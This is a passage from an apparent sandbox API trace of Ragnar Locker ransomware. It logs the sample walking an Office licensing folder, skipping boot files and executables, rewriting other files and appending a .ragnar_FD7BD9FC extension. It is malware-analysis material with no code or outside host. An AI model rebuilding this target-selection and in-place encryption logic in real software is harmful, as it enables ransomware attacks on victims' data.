(lpString1="OSPPCEXT.DLL", lpString2="boot.ini") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="bootfont.bin") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="bootsect.bak") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="bootmgr") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="bootmgr.efi") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="bootmgfw.efi") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="desktop.ini") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="iconcache.db") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="ntldr") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="ntuser.dat") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="ntuser.dat.log") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="ntuser.ini") returned 1 [0066.962] lstrcmpiW (lpString1="OSPPCEXT.DLL", lpString2="thumbs.db") returned -1 [0066.962] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.962] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.962] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.962] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0066.962] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0066.962] lstrcpyW (in: lpString1=0x1eb668, lpString2="osppobjs-spp-plugin-manifest-signed.xrm-ms" | out: lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned="osppobjs-spp-plugin-manifest-signed.xrm-ms" [0066.962] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned=".xrm-ms" [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="autorun.inf") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="boot.ini") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="bootfont.bin") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="bootsect.bak") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="bootmgr") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="bootmgr.efi") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="bootmgfw.efi") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="desktop.ini") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="iconcache.db") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="ntldr") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="ntuser.dat") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="ntuser.dat.log") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="ntuser.ini") returned 1 [0066.962] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2="thumbs.db") returned -1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".db") returned 1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".sys") returned 1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".dll") returned 1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".lnk") returned 1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".msi") returned 1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".drv") returned 1 [0066.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".exe") returned 1 [0066.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0066.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0066.963] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11646) returned 1 [0066.963] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2d75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.963] GetProcessHeap () returned 0x580000 [0066.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.963] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0067.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2d7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0067.149] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.149] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0067.150] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d7e, lpOverlapped=0x0) returned 1 [0067.166] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0067.166] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d7e, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.166] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d7e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d7e, lpOverlapped=0x0) returned 1 [0067.166] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d7e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.166] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.167] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2d7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.167] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.167] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.167] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0067.167] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0067.167] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.167] GetProcessHeap () returned 0x580000 [0067.167] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0067.167] CloseHandle (hObject=0x100) returned 1 [0067.169] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" [0067.169] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.ragnar_FD7BD9FC" [0067.169] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0067.170] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0067.170] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0067.170] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPOBJS.DLL" | out: lpString1="OSPPOBJS.DLL") returned="OSPPOBJS.DLL" [0067.170] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned=".DLL" [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="autorun.inf") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="boot.ini") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="bootfont.bin") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="bootsect.bak") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="bootmgr") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="bootmgr.efi") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="bootmgfw.efi") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="desktop.ini") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="iconcache.db") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="ntldr") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="ntuser.dat") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="ntuser.dat.log") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="ntuser.ini") returned 1 [0067.170] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="thumbs.db") returned -1 [0067.171] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0067.171] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0067.171] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0067.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0067.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0067.171] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPREARM.EXE" | out: lpString1="OSPPREARM.EXE") returned="OSPPREARM.EXE" [0067.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned=".EXE" [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="autorun.inf") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="boot.ini") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="bootfont.bin") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="bootsect.bak") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="bootmgr") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="bootmgr.efi") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="bootmgfw.efi") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="desktop.ini") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="iconcache.db") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="ntldr") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="ntuser.dat") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="ntuser.dat.log") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="ntuser.ini") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPREARM.EXE", lpString2="thumbs.db") returned -1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".db") returned 1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".sys") returned -1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".dll") returned 1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".lnk") returned -1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".msi") returned -1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".drv") returned 1 [0067.171] lstrcmpiW (lpString1=".EXE", lpString2=".exe") returned 0 [0067.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0067.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0067.171] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0067.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned=".EXE" [0067.171] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.171] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="autorun.inf") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="boot.ini") returned 1 [0067.171] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="bootfont.bin") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="bootsect.bak") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="bootmgr") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="bootmgr.efi") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="bootmgfw.efi") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="desktop.ini") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="iconcache.db") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="ntldr") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="ntuser.dat") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="ntuser.dat.log") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="ntuser.ini") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="thumbs.db") returned -1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".db") returned 1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".sys") returned -1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".dll") returned 1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".lnk") returned -1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".msi") returned -1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".drv") returned 1 [0067.172] lstrcmpiW (lpString1=".EXE", lpString2=".exe") returned 0 [0067.172] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0067.172] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0067.172] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPWMI.DLL" | out: lpString1="OSPPWMI.DLL") returned="OSPPWMI.DLL" [0067.172] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL") returned=".DLL" [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="autorun.inf") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="boot.ini") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="bootfont.bin") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="bootsect.bak") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="bootmgr") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="bootmgr.efi") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="bootmgfw.efi") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="desktop.ini") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="iconcache.db") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="ntldr") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="ntuser.dat") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="ntuser.dat.log") returned 1 [0067.172] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="ntuser.ini") returned 1 [0067.173] lstrcmpiW (lpString1="OSPPWMI.DLL", lpString2="thumbs.db") returned -1 [0067.173] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0067.173] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0067.173] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0067.173] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0067.174] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x57 [0067.174] lstrcpyW (in: lpString1=0x1eb668, lpString2="OSPPWMI.MOF" | out: lpString1="OSPPWMI.MOF") returned="OSPPWMI.MOF" [0067.174] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned=".MOF" [0067.174] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="autorun.inf") returned 1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="boot.ini") returned 1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="bootfont.bin") returned 1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="bootsect.bak") returned 1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="bootmgr") returned 1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="bootmgr.efi") returned 1 [0067.176] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="bootmgfw.efi") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="desktop.ini") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="iconcache.db") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="ntldr") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="ntuser.dat") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="ntuser.dat.log") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="ntuser.ini") returned 1 [0067.178] lstrcmpiW (lpString1="OSPPWMI.MOF", lpString2="thumbs.db") returned -1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".db") returned 1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".sys") returned -1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".dll") returned 1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".lnk") returned 1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".msi") returned -1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".drv") returned 1 [0067.178] lstrcmpiW (lpString1=".MOF", lpString2=".exe") returned 1 [0067.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0067.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program 